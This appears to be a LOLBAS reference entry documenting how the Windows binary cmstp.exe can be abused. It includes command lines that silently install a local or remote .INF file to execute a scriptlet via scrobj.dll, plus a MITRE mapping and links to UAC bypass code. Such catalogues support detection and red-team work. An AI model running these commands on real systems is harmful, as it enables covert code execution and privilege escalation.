Cmstp.exe.md

Cmstp.exe

cmstp.exe /ni /s c:\cmstp\CorpVPN.inf
Silently installs a specially formatted local .INF without creating a desktop icon. The .INF file contains a UnRegisterOCXSection section which executes a .SCT file using scrobj.dll.

cmstp.exe /ni /s https://raw.githubusercontent.com/api0cradle/LOLBAS/master/OSBinaries/Payload/Cmstp.inf
Silently installs a specially formatted remote .INF without creating a desktop icon. The .INF file contains a UnRegisterOCXSection section which executes a .SCT file using scrobj.dll.

• Windows binary: True

• Bypasses Default AppLocker Rules: False

• Mitre: T1191

• Links:

  • https://twitter.com/NickTyrer/status/958450014111633408
  • https://gist.github.com/NickTyrer/bbd10d20a5bb78f64a9d13f399ea0f80
  • https://gist.github.com/api0cradle/cf36fd40fa991c3a6f7755d1810cc61e
  • https://oddvar.moe/2017/08/15/research-on-cmstp-exe/
  • https://gist.githubusercontent.com/tylerapplebaum/ae8cb38ed8314518d95b2e32a6f0d3f1/raw/3127ba7453a6f6d294cd422386cae1a5a2791d71/UACBypassCMSTP.ps1
  • https://github.com/hfiref0x/UACME

• File path:

  • C:\Windows\system32\cmstp.exe
  • C:\Windows\sysWOW64\cmstp.exe

• Acknowledgement:

  • Name: Oddvar Moe
    • Twitter: @oddvarmoe
    • Blog: https://oddvar.moe
  • Name: Nick Tyrer
    • Twitter: @NickTyrer
    • Blog:

OS: